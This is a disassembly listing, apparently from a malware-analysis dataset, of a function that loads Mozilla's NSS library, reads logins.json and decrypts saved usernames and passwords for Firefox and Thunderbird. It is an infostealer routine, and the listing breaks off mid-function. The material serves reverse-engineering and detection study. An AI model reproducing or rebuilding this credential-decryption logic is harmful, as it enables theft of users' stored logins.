Function at 0x1008fab0
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f4
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x24], 0
lea eax, [ebp + 8]
mov dword [ebp - 0x144], ebx
push eax
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
call fcn.100b2820
cmp dword [ebp - 0xf4], 0x10
lea eax, [ebp - 0x108]
cmovae eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push str.nss3.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [ebp - 0xf4]
mov edi, eax
cmp edx, 0x10
jb 0x1008fb51
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008fb47
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ed3
push edx
push ecx
call fcn.100bede4
add esp, 8
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
test edi, edi
jne 0x1008fc95
push edi
push 0x100f1e78
mov ecx, ebx
mov dword [ebx + 0x10], edi
mov dword [ebx + 0x14], 0xf
mov byte [ebx], 0
call fcn.100b2fb0
mov edx, dword [ebp - 0x20]
cmp edx, 0x10
jb 0x1008fbc2
mov ecx, dword [ebp - 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008fbb8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ece
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1008fbf6
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008fbec
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ece
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x1008fc3c
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008fc32
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ece
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x1008fc82
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008fc78
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ece
push edx
push ecx
call fcn.100bede4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100be889
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NSS_Init
push edi
call esi
push str.PL_Base64Decode
push edi
mov dword [0x10103958], eax
call esi
push str.PK11SDR_Decrypt
push edi
mov dword [0x101039c0], eax
call esi
push str.PK11_Authenticate
push edi
mov dword [0x1010394c], eax
call esi
push str.PK11_GetInternalKeySlot
push edi
mov dword [0x10103998], eax
call esi
push str.PK11_FreeSlot
push edi
mov dword [0x101039a0], eax
call esi
push str.NSS_Shutdown
push edi
mov dword [0x1010397c], eax
call esi
mov dword [0x1010396c], eax
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp + 0x30]
add eax, 0xc
mov dword [ebp - 0xc], 0
push eax
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], 0
call fcn.100b5970
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp + 0x20]
mov esi, dword [ebp - 8]
mov eax, esi
cmovae ecx, dword [ebp + 0x20]
mov edi, dword [ebp + 0x30]
mov edx, dword [ebp - 0xc]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x1008fd57
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
lea esi, [eax + edx]
push esi
call fcn.100c22c0
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x1008fd6d
mov byte [ebp - 0x10c], 0
lea ecx, [ebp - 0x1c]
push dword [ebp - 0x10c]
push edi
call fcn.100b4450
push str.logins.json
lea ecx, [ebp - 0x1c]
call fcn.100b26a0
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
push 0x100fb36c
cmovae eax, dword [ebp - 0x1c]
push eax
call fcn.100c897d
add esp, 8
test eax, eax
je 0x1008fda4
push eax
call fcn.100c8a0b
add esp, 4
mov bl, 1
jmp 0x1008fda6
xor bl, bl
mov edx, dword [ebp - 8]
cmp edx, 0x10
jb 0x1008fdda
mov ecx, dword [ebp - 0x1c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008fdd0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ed8
push edx
push ecx
call fcn.100bede4
add esp, 8
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], 0
test bl, bl
je 0x10090deb
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
call dword [0x10103958]
sub esp, 0x14
lea eax, [ebp + 0x20]
mov ecx, esp
push eax
call fcn.100b2820
call fcn.1008b050
mov edx, eax
mov dword [ebp - 0x3c], 0
mov ecx, edx
mov dword [ebp - 0x38], 0xf
add esp, 0x18
mov byte [ebp - 0x4c], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008fe35
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x4c]
call fcn.100b2fb0
cmp dword [ebp - 0x3c], 0
jbe 0x10090db7
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0xe0], 0
push str._hostname_:_______
lea ecx, [ebp - 0xf0]
movups xmmword [ebp - 0xf0], xmm0
call fcn.100b1b10
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0xcc], 0
push str._encryptedUsername_:_______
lea ecx, [ebp - 0xdc]
movups xmmword [ebp - 0xdc], xmm0
call fcn.100b1b10
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0xb8], 0
push str._encryptedPassword_:_______
lea ecx, [ebp - 0xc8]
movups xmmword [ebp - 0xc8], xmm0
call fcn.100b1b10
push 0x38
lea eax, [ebp - 0xb4]
push 0
push eax
call fcn.100c1720
mov eax, dword [ebp - 0x38]
lea esi, [ebp - 0x4c]
mov edx, dword [ebp - 0x4c]
mov ebx, 0xf
add esp, 0xc
mov dword [ebp - 0xc], 0
cmp eax, 0x10
mov dword [ebp - 8], 0xf
mov edi, ebx
mov byte [ebp - 0x1c], 0
cmovae esi, edx
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], ebx
mov byte [ebp - 0x7c], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], edi
mov byte [ebp - 0x64], 0
nop dword [eax + eax]
cmp eax, 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
cmovae ecx, edx
lea edx, [ebp - 0xf0]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xb4]
push eax
push esi
call fcn.100b8690
add esp, 0x10
test al, al
je 0x10090c39
mov ecx, dword [ebp - 0xa8]
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0xac]
sub ecx, edi
imul ecx
lea ecx, [ebp - 0x88]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jbe 0x1008ff7a
lea ecx, [edi + 0xc]
cmp byte [ecx + 8], 0
je 0x1008ff89
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x1008ff8f
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [ebp - 0xf8], 0
mov edi, 0xf
mov dword [ebp - 0xf4], edi
mov byte [ebp - 0x108], 0
cmp edx, ecx
je 0x1008ffc4
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x108]
call fcn.100b2fb0
mov edi, dword [ebp - 0xf4]
cmp edi, 0x10
lea ecx, [ebp - 0x108]
cmovae ecx, dword [ebp - 0x108]
call fcn.1008b970
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008ffe0
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x1c]
call fcn.100b2fb0
mov edx, dword [ebp - 0xf4]
cmp edx, 0x10
jb 0x1009002d
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090023
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ed3
push edx
push ecx
call fcn.100bede4
add esp, 8
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0xdc]
cmovae ecx, dword [ebp - 0x4c]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xb4]
push eax
push esi
call fcn.100b8690
mov ecx, dword [ebp - 0xa8]
mov eax, 0x2aaaaaab
mov ebx, dword [ebp - 0xac]
sub esp, 8
sub ecx, ebx
mov edi, esp
imul ecx
lea ecx, [ebp - 0x88]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jbe 0x10090083
lea ecx, [ebx + 0xc]
cmp byte [ecx + 8], 0
je 0x10090092
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x10090098
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp edx, ecx
je 0x100900b8
sub ecx, edx
push ecx
push eax
mov ecx, edi
call fcn.100b2fb0
call fcn.1008f950
add esp, 0x18
mov ecx, eax
call fcn.1008b970
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100900d0
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x7c]
call fcn.100b2fb0
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0xc8]
cmovae ecx, dword [ebp - 0x4c]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xb4]
push eax
push esi
call fcn.100b8690
mov ecx, dword [ebp - 0xa8]
mov eax, 0x2aaaaaab
mov ebx, dword [ebp - 0xac]
sub esp, 8
sub ecx, ebx
mov edi, esp
imul ecx
lea ecx, [ebp - 0x88]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jbe 0x10090139
lea ecx, [ebx + 0xc]
cmp byte [ecx + 8], 0
je 0x10090148
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x1009014e
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp edx, ecx
je 0x1009016e
sub ecx, edx
push ecx
push eax
mov ecx, edi
call fcn.100b2fb0
call fcn.1008f950
add esp, 0x18
mov ecx, eax
call fcn.1008b970
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10090184
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x64]
call fcn.100b2fb0
mov ecx, 8
mov dword [ebp - 0x114], 0
cmp dword [ebp - 0xc], ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x110], 0xf
cmovb ecx, dword [ebp - 0xc]
cmp dword [ebp - 8], 0x10
push ecx
cmovae eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x124]
push eax
mov byte [ebp - 0x124], 0
call fcn.100b2fb0
mov edx, str.oauth:__
lea ecx, [ebp - 0x124]
call fcn.100b33d0
mov edx, dword [ebp - 0x110]
mov bl, al
cmp edx, 0x10
jb 0x10090222
mov ecx, dword [ebp - 0x124]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090218
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090edd
push edx
push ecx
call fcn.100bede4
add esp, 8
test bl, bl
jne 0x10090bd7
mov edi, dword [ebp + 0x4c]
lea eax, [ebp + 0x38]
cmp edi, 0x10
cmovae eax, dword [ebp + 0x38]
cmp dword [ebp + 0x48], 1
jne 0x100907c7
cmp byte [eax], 0x30
jne 0x100907c7
mov ebx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x54]
test ebx, ebx
je 0x100907d0
test ecx, ecx
je 0x100907d0
test eax, eax
je 0x100907d0
lea eax, [ebx + 1]
mov dword [ebp - 0xf8], 0
push eax
lea ecx, [ebp - 0x108]
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
call fcn.100b5970
push 0x100fb3c8
lea ecx, [ebp - 0x108]
call fcn.100b26a0
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0xf4]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xf8]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x100902f1
lea eax, [edx + ebx]
cmp edi, 0x10
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0x108]
cmovae eax, dword [ebp - 0x108]
lea edi, [eax + edx]
push edi
call fcn.100c22c0
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x1009030a
mov byte [ebp - 0x10c], 0
lea ecx, [ebp - 0x108]
push dword [ebp - 0x10c]
push ebx
call fcn.100b4450
push 0x100fb3c4
lea ecx, [ebp - 0x108]
call fcn.100b26a0
lea edx, [ebp - 0x164]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x154], xmm0
cmp dword [ebp - 0x150], 0x10
mov ecx, dword [ebp - 0x154]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
movd ebx, xmm1
push ecx
movups xmmword [ebp - 0x164], xmm1
cmovae edx, ebx
sub eax, edi
push edx
cmp ecx, eax
ja 0x10090392
cmp dword [ebp - 0x20], 0x10
lea eax, [edi + ecx]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
add edi, eax
push edi
call fcn.100c22c0
mov eax, dword [ebp - 0x154]
add esp, 0xc
mov byte [eax + edi], 0
jmp 0x100903ae
mov byte [ebp - 0x128], 0
push dword [ebp - 0x128]
push ecx
lea ecx, [ebp - 0x34]
call fcn.100b4450
mov ebx, dword [ebp - 0x164]
mov eax, dword [ebp - 0x150]
cmp eax, 0x10
jb 0x100903e4
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x100903da
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ed3
push ecx
push ebx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp - 0xf4]
cmp edx, 0x10
jb 0x1009041e
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090414
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ed3
push edx
push ecx
call fcn.100bede4
add esp, 8
mov ebx, dword [ebp - 0x6c]
lea ecx, [ebp - 0x108]
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
lea eax, [ebx + 1]
push eax
call fcn.100b5970
push 0x100fb3c8
lea ecx, [ebp - 0x108]
call fcn.100b26a0
cmp dword [ebp - 0x68], 0x10
lea ecx, [ebp - 0x7c]
mov edi, dword [ebp - 0xf4]
mov eax, edi
cmovae ecx, dword [ebp - 0x7c]
mov edx, dword [ebp - 0xf8]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x100904a7
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0x108]
cmovae eax, dword [ebp - 0x108]
lea edi, [eax + edx]
push edi
call fcn.100c22c0
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x100904c0
mov byte [ebp - 0x12c], 0
lea ecx, [ebp - 0x108]
push dword [ebp - 0x12c]
push ebx
call fcn.100b4450
push 0x100fb3c4
lea ecx, [ebp - 0x108]
call fcn.100b26a0
lea edx, [ebp - 0x17c]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x16c], xmm0
cmp dword [ebp - 0x168], 0x10
mov ecx, dword [ebp - 0x16c]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
movd ebx, xmm1
push ecx
movups xmmword [ebp - 0x17c], xmm1
cmovae edx, ebx
sub eax, edi
push edx
cmp ecx, eax
ja 0x10090548
cmp dword [ebp - 0x20], 0x10
lea eax, [ecx + edi]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
add edi, eax
push edi
call fcn.100c22c0
mov eax, dword [ebp - 0x16c]
add esp, 0xc
mov byte [eax + edi], 0
jmp 0x10090564
mov byte [ebp - 0x130], 0
push dword [ebp - 0x130]
push ecx
lea ecx, [ebp - 0x34]
call fcn.100b4450
mov ebx, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x168]
cmp eax, 0x10
jb 0x1009059a
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x10090590
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ed3
push ecx
push ebx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp - 0xf4]
cmp edx, 0x10
jb 0x100905d4
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100905ca
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ed3
push edx
push ecx
call fcn.100bede4
add esp, 8
mov ebx, dword [ebp - 0x54]
lea ecx, [ebp - 0x108]
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
lea eax, [ebx + 1]
push eax
call fcn.100b5970
push 0x100fb3c8
lea ecx, [ebp - 0x108]
call fcn.100b26a0
cmp dword [ebp - 0x50], 0x10
lea ecx, [ebp - 0x64]
mov edi, dword [ebp - 0xf4]
mov eax, edi
cmovae ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0xf8]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x1009065d
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0x108]
cmovae eax, dword [ebp - 0x108]
lea edi, [eax + edx]
push edi
call fcn.100c22c0
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x10090676
mov byte [ebp - 0x134], 0
lea ecx, [ebp - 0x108]
push dword [ebp - 0x134]
push ebx
call fcn.100b4450
push 0x100fb3c4
lea ecx, [ebp - 0x108]
call fcn.100b26a0
lea edx, [ebp - 0x194]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x184], xmm0
cmp dword [ebp - 0x180], 0x10
mov ecx, dword [ebp - 0x184]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
movd ebx, xmm1
push ecx
movups xmmword [ebp - 0x194], xmm1
cmovae edx, ebx
sub eax, edi
push edx
cmp ecx, eax
ja 0x100906fe
cmp dword [ebp - 0x20], 0x10
lea eax, [ecx + edi]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
add edi, eax
push edi
call fcn.100c22c0
mov eax, dword [ebp - 0x184]
add esp, 0xc
mov byte [eax + edi], 0
jmp 0x1009071a
mov byte [ebp - 0x138], 0
push dword [ebp - 0x138]
push ecx
lea ecx, [ebp - 0x34]
call fcn.100b4450
mov ebx, dword [ebp - 0x194]
mov eax, dword [ebp - 0x180]
cmp eax, 0x10
jb 0x10090750
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x10090746
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ed3
push ecx
push ebx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp - 0xf4]
cmp edx, 0x10
jb 0x1009078a
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090780
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ed3
push edx
push ecx
call fcn.100bede4
add esp, 8
push 0x100f2c94
lea ecx, [ebp - 0x34]
call fcn.100b26a0
push 0
push 0x100f1e78
lea ecx, [ebp - 0x1c]
call fcn.100b2fb0
push 0
push 0x100f1e78
lea ecx, [ebp - 0x7c]
call fcn.100b2fb0
push 0
push 0x100f1e78
lea ecx, [ebp - 0x64]
call fcn.100b2fb0
mov edi, dword [ebp + 0x4c]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x54]
mov ebx, dword [ebp - 0xc]
cmp edi, 0x10
lea edx, [ebp + 0x38]
cmovae edx, dword [ebp + 0x38]
cmp dword [ebp + 0x48], 1
jne 0x10090bd1
cmp byte [edx], 0x31
jne 0x10090bd1
test ebx, ebx
je 0x10090bd1
test ecx, ecx
je 0x10090bd1
test eax, eax
je 0x10090bd1
lea eax, [ebx + 0x11]
mov dword [ebp - 0xf8], 0
push eax
lea ecx, [ebp - 0x108]
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
call fcn.100b5970
push str.mailThunderbird
lea ecx, [ebp - 0x108]
call fcn.100b26a0
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0xf4]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xf8]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x1009088b
lea eax, [edx + ebx]
cmp edi, 0x10
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0x108]
cmovae eax, dword [ebp - 0x108]
lea edi, [eax + edx]
push edi
call fcn.100c22c0
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x100908a4
mov byte [ebp - 0x13c], 0
lea ecx, [ebp - 0x108]
push dword [ebp - 0x13c]
push ebx
call fcn.100b4450
push 0x100fb3d0
lea ecx, [ebp - 0x108]
call fcn.100b26a0
lea edx, [ebp - 0x124]
lea ecx, [ebp - 0x1f4]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x124], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x114], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x7c]
push eax
call fcn.100b3550
add esp, 4
mov ecx, eax
push 0x100fb3d0
call fcn.100b26a0
lea edx, [ebp - 0x1c4]
lea ecx, [ebp - 0x1dc]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1c4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1b4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x64]
push eax
call fcn.100b3550
add esp, 4
mov ecx, eax
push 0x100fb3cc
call fcn.100b26a0
lea edx, [ebp - 0x1ac]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x19c], xmm0
cmp dword [ebp - 0x198], 0x10
mov ecx, dword [ebp - 0x19c]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
movd ebx, xmm1
push ecx
movups xmmword [ebp - 0x1ac], xmm1
cmovae edx, ebx
sub eax, edi
push edx
cmp ecx, eax
ja 0x100909c4
cmp dword [ebp - 0x20], 0x10
lea eax, [edi + ecx]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
add edi, eax
push edi
call fcn.100c22c0
mov eax, dword [ebp - 0x19c]
add esp, 0xc
mov byte [eax + edi], 0
jmp 0x100909e0
mov byte [ebp - 0x140], 0
push dword [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x34]
call fcn.100b4450
mov ebx, dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x198]
cmp eax, 0x10
jb 0x10090a16
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x10090a0c
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ed3
push ecx
push ebx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp - 0x1c8]
cmp edx, 0x10
jb 0x10090a50
mov ecx, dword [ebp - 0x1dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090a46
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ed3
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp - 0x1b0]
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
cmp edx, 0x10
jb 0x10090aa5
mov ecx, dword [ebp - 0x1c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090a9b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ed3
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp - 0x1e0]
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x1b0], 0xf
mov byte [ebp - 0x1c4], 0
cmp edx, 0x10
jb 0x10090afa
mov ecx, dword [ebp - 0x1f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090af0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ed3
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp - 0x110]
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0xf
mov byte [ebp - 0x1f4], 0
cmp edx, 0x10
jb 0x10090b4f
mov ecx, dword [ebp - 0x124]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090b45
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ed3
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp - 0xf4]
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0xf
mov byte [ebp - 0x124], 0
cmp edx, 0x10
jb 0x10090ba4
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090b9a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ed3
push edx
push ecx
call fcn.100bede4
add esp, 8
push 0
push 0x100f1e78
lea ecx, [ebp - 0x1c]
call fcn.100b2fb0
push 0
push 0x100f1e78
lea ecx, [ebp - 0x7c]
call fcn.100b2fb0
push 0
push 0x100f1e78
lea ecx, [ebp - 0x64]
call fcn.100b2fb0
inc dword [0x10103970]
mov edi, dword [ebp - 0xac]
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0xa8]
sub ecx, edi
imul ecx
lea eax, [ebp - 0x88]
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x88]
cmovne eax, edi
mov eax, dword [eax]
sub eax, dword [ebp - 0xb4]
test ecx, ecx
cmovne edx, edi
cmp byte [edx + 8], 0
je 0x10090c1e
mov edi, dword [edx]
mov ecx, dword [edx + 4]
jmp 0x10090c22
xor ecx, ecx
xor edi, edi
mov edx, dword [ebp - 0x4c]
sub eax, edi
mov ebx, dword [ebp - 0x68]
add eax, ecx
mov edi, dword [ebp - 0x50]
add esi, eax
mov eax, dword [ebp - 0x38]
jmp 0x1008ff20
call dword [0x1010396c]
cmp edi, 0x10
jb 0x10090c70
mov ecx, dword [ebp - 0x64]
inc edi
mov eax, ecx
